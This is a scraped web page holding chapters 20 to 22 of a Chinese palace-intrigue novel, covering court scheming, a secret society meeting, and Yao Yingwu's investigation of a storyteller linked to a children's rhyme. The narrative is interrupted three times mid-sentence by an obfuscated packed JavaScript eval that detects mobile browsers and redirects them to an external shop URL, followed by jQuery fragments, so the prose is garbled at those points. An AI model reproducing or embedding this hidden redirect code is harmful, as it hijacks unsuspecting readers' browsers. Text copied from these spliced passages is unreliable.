钟内侍后撤一步,直直跪在地上。他眼含热泪稽首道:“老奴定不辱使命,为陛下与储君尽忠。” 牧怀兴从龙椅上起身,明黄色的龙袍之上,龙睛炯炯,双目如炬。 他附身扶起钟谋,笑道:“你的忠心朕自然明白。可朕更关心的是,那件事,如何了?” 福乐宫中,大殿中央的鎏金香炉升起丝丝白烟。 炉内点的梨花香,熏得殿内满是梨子清甜的味道,是黎稔在兰诏时就爱用的香。 黎稔今日褪下往常墨金色的华服,用碧玉簪挽起长发身着常服,坐在紫檀桌前正修剪着白瓷瓶中荷花花茎。 三一手中捧着莲子粥从门口进来,屏退众人道:“公主,今日是荷华节,莲子粥您可要多喝几碗。” 黎稔将瓶中最后一支荷花花苞插入瓶中,眼中含着温柔的光,“今年的荷华节正好赶上了穆儿的生辰呢。母后近几年身体越来越差了,不知今年她还不会亲自熬莲子粥了。” 三一放下粥,轻声回道:“公主放心吧,太后娘娘的身体好多了。今日,还来信问公主安呢。” “真的吗?” 三一见公主开心起来,笑着点点头,“齐王特意让人送信来说的。他前几日来,见公主恹恹的,吃饭也没什么胃口,就知道公主担心太后娘娘的身体呢。这不,一有消息就马上来告诉您了。” “彰施有心了,让他也多注意身体,别太累了。” 黎稔端起桌上的莲子粥喝了一口,清甜香滑,还是在兰诏时喝的味道。 “姚家那姑娘是不是快入宫了。” “快了公主,不出意外就在下月初一。” “她母亲,可是滕州裴氏一族。” “是,公主。” 黎稔喝粥的动作一顿,抬眸望向三一,“上次见她母亲是十八年前了吧,她母亲叫什么来着。” “好像是叫,裴澜。” 午后阳光耀得人晃眼,街市上来往的人们都脚步匆匆,生怕沾上暑气。 窦花娘带着帷帽穿过一条条小巷,最终停在了一户破旧的院落。 咚咚咚!咚,咚咚——! 窦花娘准确的敲出约定的暗号,吱呀一声,院门便从里面打开了。 她很是小心,四下张望许久,确认身后没有尾巴跟着才走进院门。 院中乱石遍布,杂草丛生,接引她的小童蒙着面对她说道:“没有尾巴跟着吧。” 窦花娘摇头道:“没有,一路上我都很小心。” “那就好,舵主已经在里面等你了。” 吱—— 窦花娘小心翼翼地推开门,年久失修的门发出吱呀一声,落了她一身的灰。 她轻轻掩上门,嫌恶地拍了拍身上的灰尘,走到结满蛛网的柜子前转动木像的底座。只听轰隆隆一声,一个黑漆漆的密室就显露在窦花娘眼前。 咳,咳咳。 窦花娘被灰尘呛得咳嗽,一刻不想多留,于是加快步子朝着密室内部走去。 “你来了。” 密室内的声音语气中没有丝毫波澜,每一字却都透着干脆。 听到熟悉的声音,窦花娘连忙低下头,“舵主今日怎么选在这个地方,召花娘见面也比平日晚了一个时辰。可是,出了什么意外?” 长凳上坐着的人没有回答,反而问道:“不是让你无需再管童谣之事了吗,怎么会惹上这么多不该惹的人。” “那日我听舵主的吩咐,在慧慈院等人来问闹鬼之事,一旦有人问就说出白泽一事。可我也没想到来得人居然是姚映梧,而不是肖遥。我昨日多方打探才知,肖遥在路上遇到拓跋恃旧部的报复,抓住一个水兰阁的探子,审讯花了不少时间,她这才比我们预计的还晚到了几日。” “姚映梧?怎么她也开始查上童谣一事了。” “禀舵主,她是姚家人自然闻道童谣的味儿就来了。而且一个姚映梧不足为惧,听说她病病殃殃,没几日可活了。我那日原是想直接解决她,可谁知肖遥与她在一起,我杀不了肖遥怕暴露,只能闭口不谈,装疯卖傻把她们二人赶走了。” “病病殃殃。为何我昨日派去的探子却回禀,说她已经全然大好,与常人无异。” “这…属下就不知了。”窦花娘犹豫片刻,还是问道,“那舵主我们接下来的打算是……” “此事如今太惹眼,把鱼饵丢下赶紧收手,不要为了一条小鱼毁了大计。” “那…石豆的事怎么办,他虽与我不是亲姐弟,可我们相互扶持在盛安扎根多年,他就这么被肖家人害了,白白的死了,我心有不甘呐。” 长凳上的人并未立刻回话,密室中突然静了下来,只传来虫鸣声。 窦花娘见舵主一直未给她回话,焦急万分。额上的汗珠顺着她的脸庞一颗颗滑落,无声的埋入灰尘中。 许久,舵主才开口说道:“主人已经看过石豆的尸体,他的确是死于乌寒之毒,如今世上能有毒药‘乌寒’的,也只有肖家人了。慧慈院白泽鬼面一事,就是主人要拉肖家下水,为石豆报仇。可惜,如今有太多不该入局之人踏入此局,为保大计,你需等待时机。盛安用不了多久即将大乱,主人自会重新启用你,届时,自会让你杀肖家人报仇。” 窦花娘放下心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067084|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,她按压住想立刻报仇的心情,说:“多谢舵主,多谢主人。花娘告退了。” 窦花娘走后,门口的小童也进到密室中,“舵主,今日之事可要向主人回禀。” “立刻飞鸽传书给主人,水兰阁那边有人沉不住气,被肖遥抓住了尾巴。如今只能偷梁换柱,打消肖遥的疑虑,才能保下水兰阁,请主人取舍吧。” “是,舵主。” 高琢拿着从和羹居打包的栗子糕和桂花糖糕,一路哼着家乡的小曲回到高府。 忆欢盼了好久,终于看见高琢的身影,她兴奋地跑出来喊道:“小叔叔,你今日怎么这么开心呀。” 忆欢自从找高琢帮忙画像以后,整日被父亲逼着在屋内学习阿娘留下来的医经,贾嬷嬷还每天一直盯着她,不让她走神,她闷都闷死了。 “小姐,小姐。快回来,今日还没学够时辰呢。等统领大人回来,会责怪我的。” 忆欢不愿意再学,撅起嘴躲到高琢背后。 “才不要呢。嬷嬷坏,阿爹坏,忆欢再也不要学了。” 高琢忍俊不禁,将忆欢从身后拽出来。他蹲下看着忆欢的眼睛,“忆欢,告诉小叔叔今日学了多久了。” 忆欢转着眼珠仔细想了想,又掰起手指头数给高琢看,“昨日忆欢学了五个半时辰,今日也学了整整三个时辰。我累了小叔叔,我想玩一会儿,你陪我玩嘛,咱们就玩一小会。” 高琢心疼地摸了摸忆欢小小的脑袋,“忆欢累坏了吧,那咱们玩一小会儿。小叔叔还给你带了好吃的糕点呢。咱们去吃糕。” 贾嬷嬷为难地开口,“可统领大人那……” “无妨,等兄长回来我自会向他解释。” 高琢带忆欢去了他最喜欢的荷花池,递给她一块栗子糕。他笑着说:“忆欢,快尝尝这个栗子糕,虽然和家乡那味道不太一样,但也很好吃的。” 忆欢还是小孩子心性,很快将这两天的不愉快抛之脑后,开心的吃起糕点来。 “唉,不知什么时候能吃一次家乡的糕点。” 忆欢吃着吃着突然叹了口气,让正吃着桂花糖糕的高琢愣了神。 他柔声安慰道:“忆欢要是想吃家乡的糕点了,等我下次出去找找,等找到了就带回来给忆欢好不好。” “真的吗阿琢哥哥?” 高琢宠溺的笑道:“这个自然,我什么时候骗过你。不过忆欢要答应我,以后要每天开开心心的知道吗,你小小年纪就整日愁眉苦脸唉声叹气的,长大了以后会过得比小时候更不幸福更不开心的。” 忆欢嗤之以鼻还冲高琢做了个鬼脸,“胡说八道,阿琢哥哥连小孩子都骗。” “谁说我诓你了,这是我还小的时候,你阿娘告诉我的。我可相信了。” 听高琢提起阿娘,忆欢沉默着低下头吃了两口栗子糕。她记下高琢的话,仰起头笑着问高琢,“为什么阿爹不让阿琢哥哥给我我画阿娘的画像啊,我很想阿娘。每天都想梦见她…可每天都梦不到。” “忆欢,你阿爹也很想她呀,给你画了像,你阿爹每日都睹物思人岂不是会很难过。而且忆欢的阿娘是心疼忆欢才没让你梦见她的,你要是每天都能梦见阿娘,就要每天都哭鼻子了。” 忆欢嘟起嘴巴,“才没有呢,我从来不哭鼻子。” 高琢笑得眼睛都眯了起来,“好好好,忆欢从来不哭。快些吃糕吧,要凉了。” 高琢心下纠结,不知自己也不应该告诉忆欢,自从生病后她忘记了阿娘的样貌,梦里自然就梦不到阿娘了。就像他记不清姐姐们的样子,也从来没有梦见过她们一样。 他到底要不要听兄长的话,给忆欢画像呢。 20. 相思红豆 不思量 自难忘 故人散 高羡忙完御守府内积攒的事,一脸阴沉的走进高琢的院子。他见尘起站在荷花池不远处,没与忆欢和高琢坐在一起,只默默站在远处,脸上还带着清晰的泪痕。 “怎么了,师弟?这是哭了?” “哦,是师兄啊。没有,我就是站在风口,让风吹的。” 高羡戏谑地看向他,“怎么好好的还留了个迎风落泪的毛病。” 尘起擦擦眼泪,“师兄来找小琢啊,正好忆欢也在。他们正一块吃栗子糕呢,你也快去尝尝吧。” “你不一起去吃一点吗?在家乡的时侯……咱们几个也常一起吃呢。” 尘起笑着摆手,“不了,师兄。我吃过了。” 高羡看着尘起落荒而逃的背影,长叹一声,还是以前的日子美好啊…… 高羡顾及到忆欢还在,脸上挂着温柔的笑道:“欢儿,栗子糕好不好吃?” “阿爹,你回来了。”忆欢眼睛亮晶晶的,开心的喊着。 高羡摸着她的头道:“欢儿乖,阿爹有话要跟阿琢哥哥说,你去找贾嬷嬷好不好。” 忆欢抬起头,圆溜溜的眼睛直勾勾盯着高羡,“可是阿爹,欢儿的糕还没吃完……” “那,欢儿带着栗子糕回屋子去,贾嬷嬷从小就照顾你,你也该把糕分给她尝尝,对不对?” 忆欢眼睛骨碌碌转了几圈,点头应道:“好,阿爹。我这就去。” 忆欢没吃过桂花糖糕,还想端走尝尝。高琢见状连忙护下几块,每次他吃起桂花糖糕时,总会想起映梧,他没舍得都给忆欢。 一直等到忆欢的身影彻底消失,高羡才板起脸,严肃道:“高琢!我让你去跟姚映梧搞好关系,你怎么能与肖遥和七皇子扯上关系。你知不知道七皇子是陛下最不喜欢的皇子,你与他有关系,以后陛下会怎么看你,怎么看高家。还有那个肖遥……” 高琢不解的看向高羡,“兄长,你不是一直想搭上肖家的关系,让肖家人传授我武艺,好让我日后能建功立业吗。现在肖遥愿意教我,我也与她是朋友,咱们也能搭上肖家了,这不是皆大欢喜吗?而且陛下厌恶七皇子又怎么了,我们几个都是知己好友,我们喜欢他不就好了吗。” 高羡抬手按了按眉心,他知道高琢自小性子单纯对任何人都没什么防备之心,但没想到他到了盛安还依旧如此。 “我说的搭上肖家跟传授武艺与你说的不是一回事,以后你只能跟姚映梧来往,那两个你有多远就离多远。” 高琢激动地站起身,“那兄长说的是什么意思。高琢不明白,为何陛下不喜欢的人,我就不能与他们关系好,若连选择好友的自由都没有,我宁愿日后不在盛安生活。” 高羡还想再劝,却注意到高琢腰间系的牡丹纹玉佩。他神色紧张,快步走到高琢面前一把扯下玉佩。 高琢一时防备不及,惊呼道:“兄长你这是干什么,这是映梧给我的,你快还给我。” 高羡没空理睬高琢的话,只一味摩挲着玉佩看了又看。 玉佩是暖玉,触手温润。上面雕刻着牡丹花纹,细看还能看到花朵旁点缀的几朵祥云。 “这是…她给你的。” 高琢费劲的抢回玉佩,放在手心里翻来覆去看了好几遍,确定没弄坏才松了口气。 高琢谨慎的重新系回腰间,开口解释道:“是映梧父亲奉命剿灭利鹘遗民时带给她的。她只是把它当作信物送给我了。兄长你别多想,映梧不知道咱们家乡的规矩,不知道送玉佩是…是…定情的意思……” 高琢红着脸低下头,看着玉佩心里欢喜极了。 他得去准备一支玉簪,若有一天映梧也喜欢他了,他就告诉她家乡的习俗,把玉簪送给她…… 高羡心中五味杂陈,他望着高琢红透的耳朵不由笑了起来。 算了,随他去吧…… 还好他今日告诉陛下七皇子与姚映梧的事,这样一来,陛下肯定会警惕姚映梧与七皇子之间的关系。 如此,他也就不能跟小琢争了,小琢就有机会和姚映梧在一起了。 丞相府内,今日的阳光正好,青萝打算修整一下花圃,姚映梧望着院中的好景色,坐在回廊上理着思绪。 不远处,梧桐树上传来叽叽喳喳的鸣叫。青萝正低着头清理着花圃中的杂草,几个杂役丫鬟在一旁帮她的忙。 开春时,院中的梧桐树上不知来了一对儿什么鸟筑巢,日夜啼叫。 本就浅眠的姚映梧一日一日的睡不好,青萝本想赶走它们,姚映梧可怜它们好不容易找到地方安家,这才没让青萝动手。 过了一段日子,夫妻二鸟就生下了几枚蛋,雌鸟日夜孵化直到小鸟儿破壳而出,到今天,它们长大了许多,也学着父母的样子啼叫。 云昙端着刚熬好的莲子粥来到回廊,冲青萝喊道:“青萝姐,我熬了莲子粥,快过来尝尝。” “哎,好。我洗了手就来。” 青萝将粥递给姚映梧,“小姐,你先喝。粥现在正好喝呢。” 姚映梧从云昙手中接过粥,疑惑道:“怎么今日想起来做莲子粥了?” “今日是兰诏的荷华节,家家户户都会熬莲子粥。荷花生于淤泥,开花清雅脱俗。在兰诏,父母都认为在这一天暑气最盛的时候喝莲子粥,孩子能得花神庇护,一生远离烦恼苦难,日子平淡幸福。” 姚映梧笑道:“那我可要多喝几碗了。” 她又喝了几口,抬眸望着云昙道:“云昙,我今日,看到你的香囊了。” 云昙惊喜道:“这是我自己学着绣的第一个香囊呢,丢了也没什么的,没想到小姐还帮我找到了。” 姚映梧摇摇头,轻声说:“我看到香囊在和羹居大堂说书的年轻男子那,他为什么要收起你的香囊来呢。” 云昙蹙起眉,“小姐,喝过粥我们去看一下吧。正好我一会儿要去慧慈院。” “好,那再买些酥山和糕点,你带去分给他们吃。我得好好想想最近的事,今日就先不陪你了。” 姚映梧突然想起高琢说的栗子糕,“云昙明日早晨你帮我做一份兰诏的栗子糕吧,我记得兰诏的栗子糕会放牛乳,和高琢家乡的味道应该差不多,我想带给他尝尝,不知道能不能让他吃到家乡的味道。” “那小姐,我按照兰诏的口味多放些牛乳,尝起来肯定就更像了。我明日做好放桌上,小姐出门前带上就好。” 青萝擦干手上的水走过来,“莲子粥?今日可是兰诏的荷华节了。” 云昙笑嘻嘻道:“是啊,青萝姐,你还记得啊。” “当然了。你还是喜欢过兰诏的节日。”青萝停下喝粥的动作道:“小姐,我哥哥刚才来送药,他说霍大夫不见了的事公廨已经正式立案了。可您的病……” 姚映梧和云昙不约而同摸了摸鼻子,姚映梧掩饰道:“无妨青萝,你看我的病已经好多,只要按时吃药不会有什么打问题,你且放宽心。” 青萝放下心来,又喝起了粥,“霍大夫真可怜,一把年纪了,绑他做什么。” 姚映梧把青萝的话记在了心里细细琢磨,是啊,谁会去绑架一个年迈的大夫呢。 轰隆隆——! 接连几日闷热的天气让盛安迎来了一场大雨。 窦花娘还没入昌平坊的坊门,雨就下了起来。她匆忙躲进附近一家羊汤店,顺便喝了碗羊汤。 “客官,您的羊汤。” 羊汤香气扑鼻,窦花娘心急的喝了一口。 嘶—— 窦花娘病情痛苦的捂着嘴,被烫到的舌尖又热又疼,她嘟囔道:“今日真够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067085|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒霉的。” 离她半米远的地方坐着一对姐妹,姐姐身穿银灰色宝相花胡服,妹妹一身青绿色飞鸟纹胡装。 姜煜递给姜燃一个胡饼炙羊肉,低声道:“日后她倒霉的事还多着呢,敢嫁祸肖家,真是不想活了。多吃点红豆,这几日又是跟人又是配药,我看你又瘦了不少。是不是娘亲总是给你做栗子糕的缘故啊?” 姜燃接过胡饼,轻声回道:“没事的姐姐,我不累,就是有些吃不下。” “肯定是娘亲给你做栗子糕的缘故。还记得小时候你偷偷跟我说,你母亲的栗子糕做的好,我娘亲就想让你尝尝有母亲的味道糕点。结果你吃了以后,每晚都会梦见母亲,害得你每日夜里都哭。后来慢慢的,你也就不爱吃了。娘亲每次做,你都偷偷塞给我吃。” 姜燃不知不觉湿了眼眶,“是啊,那时候我都害怕过重阳节,因为会吃舅母做的栗子糕。我怕舅舅舅母还有父亲他们担心,从来都不敢说会梦见母亲的事。我怕梦见她后我会太想她,只能不停的把舅母做的糕塞给你吃。” “可不是吗,每年盛安的新栗子一到,我就会比你和皎皎胖许多。肖伯父和韦伯母见我越发圆滚的脸和肚子,怕我习不成武,每日让我多扎一炷香马步呢。” 姜燃用力握紧掌心,瞥了一眼窦花娘,“所以姐姐…今日以后,在事情没了结以前,我不会回肖家了。” 姜煜错愕地抬起头,用力按住自己的腿才没让自己叫出声。 “为什么呀红豆。是要现在去寻药了吗,那也不用不回家呀。爹和娘亲这几日都开心坏了,连老侯爷都比之前高兴了许多。你要离开家,我们怎么舍得。” 姜燃笑着握住姜煜的手,“姐姐放心,不是药的事情。寻药之路可能会生变故,所以我又多配了半年的药给姚映梧。而且就算找不到治好病的药,她吃我现在给她的药,也能安然度过余生。我要去做的是一件大事,我必须去做,我来到盛安就是为了这件事。” “什么事红豆,要去哪?姐姐能不能帮你做什么?” “阿姜姐姐,我不会离开盛安的,只是去一个地方,去找人。” “什么人这么重要?” 姜燃浑身颤抖,连声音都发颤,“是这几日我没告诉大家的事。当年和父亲走失后被恩人收留,我们两人后一起拜入师门习武。后来,师门没了,恩人也被人害了。我要去找害了恩人的那些人,报仇。” 姜煜心疼的安抚着姜燃,“是谁,居然敢欺负你,你告诉姐姐,我也定不会放过他的。” 姜燃自然不会说,她不想让姜煜卷进这些复杂的恩怨,她只摇头笑道:“姐姐,你不用担心我了,等事情了结,我自会全告诉你的。” “红豆,现在姐姐在你身边的,你有事,千万要告诉我,不要自己一个人硬撑。” “我知道的姐姐。我现在…有家人了,不会一个人强撑的。” 磅礴的大雨下得突然,走得也急,不到半炷香的功夫就停了。 窦花娘付完钱,谨慎地走出店门。 姜煜抬手想帮姜燃擦掉眼泪,却发现她只是红着眼眶,泪水却没流下来。 她对妹妹的坚强又心痛又担心,她也强忍下泪水,露出笑说,“红豆,我们跟上去。以后哪怕你不在家,我也在家中等你的,你忙完了事,记得回家来。” “嗯!姐姐,红豆,一定会回家的。” 两人循着窦花娘的踪迹一路跟踪而去。 路上,姜煜听说今日是荷华节,她望着姜燃的侧脸许愿道,不管红豆能不能报仇,她一定会保护好妹妹,保护好家人。 他们一家人要永远好好在一起,再也不分开了。 她凑道红豆耳边说:“红豆,跟踪完窦花娘,咱们去喝莲子粥吧,听说这样才灵。” 21. 拨云见日 和羹居还是如往常一般热闹,大堂内坐着说书人,喜静的人多在楼上雅间。 吴介见姚映梧和云昙进门,她们是熟客他已将两人的喜好记在心上。两人一进门,他就轻车熟路引着两人往楼上的雅间去。 “小姐除了桂花糖糕可还要些什么?” “今日不去雅间了。” 吴介的脚步一顿,接着问道:“那您是要……?” 姚映梧指向离说书台最近的地方,“就那吧。我今日想听俗讲。” 吴介虽不知姚映梧为何如此,但还是恭敬的为她引路。他好心提醒道:“小姐,这儿靠近后院,人来人往的当心碰着您。” “无妨,我今日就是特意来听他说俗讲的。他说的有趣,我今日烦闷,特意过来解闷。” 台上的年轻男子摇着扇子,声泪俱下讲着动人的爱情故事。 吴介过来给姚映梧添茶,她端起茶抿了一口,笑道:“他讲的故事可不如昨日好。” 吴介摆弄着桌上的桂花糖糕,难为情的开口道:“我堂弟说得不好,让小姐见笑了。” “我就是随口一说罢了,你不用放在心上。” 吴介与姚映梧交谈的片刻,云昙一直盯着台上的男子。台上之人似有感应,回望过来,他们两人四目相对的一瞬,云昙就认出他来了。 是荆南哥,那日她陪小姐去法因寺上香时没看错,真的是他。他居然也来盛安了,可惜她一直陪小姐去楼上雅间坐着,第一次看见荆南哥。 “小姐,这个人就是我跟你提过的同乡。” “是吗,那一会儿你们可要好好聊聊。” “小姐不是说今日无聊吗,荆南哥不仅会说书,还会口技呢。他的口技和我爹娘的糕点手艺,都是珍味楼的金字招牌呢。” 姚映梧惊讶道:“珍味楼?那不是云州最大的酒楼吗,他怎么从小就说书了?” “荆南哥自幼不爱读圣贤书,就喜欢看些话本。口技的本事还是跟着盛安一位俗讲艺人学的呢,那个人特别厉害,会学好多声音呢。当时我们几个孩子都喜欢找他玩,只是我爹娘不让我跟他在一起,他们说他是在盛安犯了事,才逃到云州的。” 姚映梧顿时警觉起来,她想起肖遥告诉她的俗讲艺人,连忙追问道:“云昙,你可知道他的名字?” “当然小姐,我一直记得呢。因为他的名字特别怪,叫十二。” 啪—— 醒木击案,故事结束。 大堂内,有的人喝彩,有的人央求再讲一段。姚映梧和云昙对视一眼起身,尾随着荆南而去。 “小姐,这里可不让客人进。” 荆南一直察觉有人跟踪他,他本没打算理会,可跟踪的人大有跟着他进入后院的架势,他这才在后院门口拦住了两人。 “荆南哥,是我,云昙。” 荆南看清来人是云昙,脸上严肃的神情顿时柔和了下来。 “是云昙呀,没想到咱们又见面了。” 云昙不好意思低下头,姚映梧见此人话虽说的惊喜,语气却没什么波澜。 她上前一步指了指荆南身上的香囊,“公子,这香囊可是捡到的。” 荆南听到姚映梧提起香囊一瞬间又没了什么好脸色,“是不是捡到的,关小姐什么事。” 云昙见状赶忙解释道:“荆南哥,是我告诉小姐我丢了香囊,她见你戴着才带我来找的。” 荆南脸色顿时古怪起来,他眼神满是敌意,上下打量着姚映梧,“她就是买走你的那家小姐。” 云昙笑了起来,圆润的脸颊上露出浅浅的酒窝,“是啊,荆南哥。当年我被拐子拐走卖到盛安还多亏了小姐把我买出来。不然我还天天吃不饱,穿不暖。你放心,小姐她们待我都极好的。” 荆南沉默片刻,“这香囊是那日我替堂哥打扫雅间,看到你在雅间吃糕点,走得时候还不小心把香囊掉了,我就替你保存了。如今,既然昙儿想要回去,那我就还给你。” 说罢,他就解下来香囊递给云昙。云昙开心地接下,问道:“荆南哥,你到盛安怎么没来寻我。你如今可有住的地方?” 荆南笑着回道:“你还能记挂着我我就很高兴了。我才来没几天,刚到盛安就碰上了之前在云州的同乡,他帮我安顿好了,你不用担心我。我一会儿还忙,今日就不多留你了,改日你再来和羹居我一定请你吃饭。” “那荆南哥你先忙,我本来还想请你给小姐表演一段口技呢。” “我也惭愧,对不起师父。许久不练技艺已经生疏了。” 云昙道:“荆南哥,我们就先走了。改日等我得空了来找你叙旧。” 两人在大堂内等着糕做好的功夫,姚映梧一直盯着香囊思考。 云昙以为小姐喜欢,又把香囊解下来递给小姐,“这个旧了,小姐看看就好。赶明儿我再做个新的给小姐。” 姚映梧拿起香囊捧在手心里仔细端详着,不知为何她总觉得荆南说的话像是话里有话。 她思索着,手下意识捏了几下香囊,香囊袋口中掉落了几粒粟米到姚映梧的衣裙上。 云昙眼疾手快地看到,用手捻起那几粒粟米放到姚映梧手心里:“小姐这是什么呀。” 姚映梧回过神来,垂眸看了眼手中的粟米粒。 她皱眉道:“荆南他从云州那么远的地方来,还带着鸟儿吗?” 这些谷子她曾经特意让青萝买回来喂梧桐树上的小鸟,她觉得它们一直叫应该是饿了,喂过谷子应该就不会叫得这般勤了。 云昙立刻摇头道:“荆南哥最怕这些了,小时候我养了一群鸡仔,他都不敢摸呢。” 姚映梧将这几粒收进荷包中,她确定这些都是鸟儿喜欢吃的谷子。她病得不厉害的时候常也去梧桐树下给它们添食,每一种谷子,她都仔细摸过问过青萝。这些,得回去再想青萝求证一下,她最懂这些了。 吴介将包好的糕递过去,“小姐,酥山做的慢些,等做好就送到慧慈院。” 姚映梧与云昙分开前她特地嘱咐云昙去打听件事,她先回府去问青萝这些粟米。 她叫来青萝,摊开手心给她看粟米,“青萝,这是鸟食吗?” “是的,小姐。粟米是鸽子麻雀这类鸟儿喜欢吃的。小姐可是想养一只解闷,明天我就去替小姐买一只回来。小姐想要什么样的?” 姚映梧摆摆手,“不用了青萝,我只是好奇罢了,养树上这几只就够了。” 姚映梧喝着茶,手中的大观游记怎么也看不下去。 荆南会口技,又是与盛安一位口技艺人学的。按云昙说的时间,差不多就是陛下登基时童谣刚出现的时候。他一个怕鸟儿的人,为什么会随身带着鸟食呢? “小姐我回来了。” 姚映梧见是云昙回来了,赶紧追问道“云昙,打听的怎么样。” 云昙失落的说:“我去慧慈院打听了,荆南哥如今住到慧慈院去了。那大多是无家可归之人住的,他还骗我说他过的很好呢。” 姚映梧追问道:“他是什么时候住过去的?” “八九天了吧。”云昙一脸不可思议道:“小姐你知道吗,那日我们在茶铺碰上的两人,他们中其中一个还是我的同乡呢,叫于老四。” 姚映梧心下一惊,那就是说,荆南刚到没多久慧慈院就开始闹鬼,紧接着盛安城内传出童谣。 云昙见小姐脸色有些难看,关心道:“小姐没事吧。我还有一件事要告诉小姐,我听说窦花娘今日已经把在慧慈院洗衣缝补的活计让给别人了。她以后不做这个活了。” 姚映梧直觉这些事很快就要结束了,明日她要与他们一起把这些事查到底。 午后,忆欢吃过糕正睡着午觉,贾嬷嬷在屋内哄她。 高羡坐在忆欢的院子里,吃着高琢带回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067086|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的栗子糕。是忆欢特意给他留下的几块。 尘起在院外踌躇片刻才进来,“师兄,你找我有什么事。” 高羡将装栗子糕的碟子推到他面前,“尝尝吧,这可是盛安的栗子糕。红豆以前一直挂在嘴边念叨的家乡糕点。” 提到红豆,尘起心里咯噔一下。 他好想她,她怎么能狠心丢下他一个人…… 他坐到高羡身边,吃了一块糕,原来盛安的栗子糕和家乡的味道也差不多嘛,不知红豆怎么会一直惦记着。 高羡给他倒了一杯茶,“昨日进宫,牧怀兴问我他的身体怎么样了。我的医理浅薄比不得怀素,却也发觉他的身体即使吃了药也最多再撑几年了。他若一死,我们就会成为弃子。我们得抓紧另寻一个新的靠山了。” “师兄可有打算?” “唉,我如今也毫无头绪。姚尺书与肖攘镰皆对我有所防范,不肯与我有过多来往。他们一个有二皇子,一个有五皇子,他们二人皆与我们没什么交集。谁登基我们都会被排挤,甚至远离大邺朝堂的权力中心。” “不是还有七皇子吗?他与小琢关系也好。” 高羡长叹一声,“一个皇帝明面上不喜的皇子,日后能有什么继位的机会。要不是牧怀兴的孩子只剩下他们三个,恐怕他连个分封王够不上。” 尘起开口问道:“所以你支持小琢和姚映梧来往,就是为了能成为二皇子一派。” “当然。他姚尺书坐在丞相之位上也太得意了些,他现在所有的一切,早晚会是我们的。” 高羡笑得势在必得,他起身嘱咐尘起,“今晚我要在宫中巡查,你今夜别出去了,在府中保护好忆欢和小琢。小琢那功夫对付几个半吊子还行,要是遇到练家子就危险了。最近盛安城不太平,你多注意些他们二人,记得自己也要当心。” “师兄,你安心入宫吧。家中有我呢。” 太清宫外,钟内侍从内殿走出来,莫内侍在外头瞧见他赶忙迎上去问安:“钟内侍,听说您昨夜头痛,不知可好些了?” 钟内侍睨了他一眼,道:“莫内侍日日在陛下面前尽心,还能抽空想着我真是费心了。” 两人话不投机,没说过两句钟谋直接找个借口离开了。 莫内侍谄笑着目送钟谋离开,转身就啐了一口。 他以为他钟谋是谁啊,给他面子他还惺惺作态。都是奴才而已,他真以为自己伺候皇上多年就高人一等了。 莫内侍冷哼一声,远远看见高羡正在巡查太清宫。 他见高羡身边无人,换上一副笑脸走到他身边道:“高统领近日真是辛苦了。听说您都连续好几夜亲力亲为带兵巡查太清宫了,我听说就连前任甘统领都没您这般尽力。” 高羡眼含笑意,道:“莫内侍谬赞了。甘统领如今已是二皇子的太傅,我如何能比得上。” 莫内侍收起笑意,俯身低声在高羡耳边说道:“统领如今是陛下的人,可陛下一旦殡天,御守府统领作为先帝的心腹,会被新帝用何手段摘掉您心中也清楚吧,到那时,您该如何呢?统领从兰诏来到盛安不会就满足于现在这小小的御守府统领了吧。” “莫内侍,可有什么高见?” 莫内侍一副高深莫测的表情,“当今陛下有三子,二皇子为先太子妃甘霓所出,娶了姚尺书之妹为妻,五皇子为当今皇后肖扶锦之子娶了甘霆之女为起妻。而七皇子,他母妃金曜雪因犯大错被陛下贬为庶人。高统领若全力支持七皇子争夺皇位,日后大展宏图便指日可待。” 高羡为难道:“可七皇子不得陛下宠爱,我岂不也会被陛下厌弃,还如何能施展雄心抱负。而且,七皇子岂能听我的,我让他去争皇位他就能去争吗。” 莫内侍冷笑道:“那统领可知七皇子为何被陛下厌弃?金曜雪娘娘之前可是陛下的丽妃,您没听过金曜雪这个名字,难道您还没听过戈罗昂真?” 22. 仇恨囚恨 桂花载酒 “金曜雪是戈罗昂真!那牧泓屿不就是……” 莫内侍拍上高羡的肩,打断道:“高统领,一个亡国公主的儿子而已。如今的利鹘早已变成闼鞑铁蹄下的焦土,戈罗昂真和她的孩子又有谁会在乎呢。况且,他与您的宏才远志相比,根本不值一提。她的身份对陛下来说不是秘密,可这秘密若让七皇子知晓,就是您向上走的阶梯呀。” 看着莫内侍似笑非笑的神情,高羡心里还是动了恻隐之心。 “可七皇子如今什么都不知道,我又如何开口呢。” 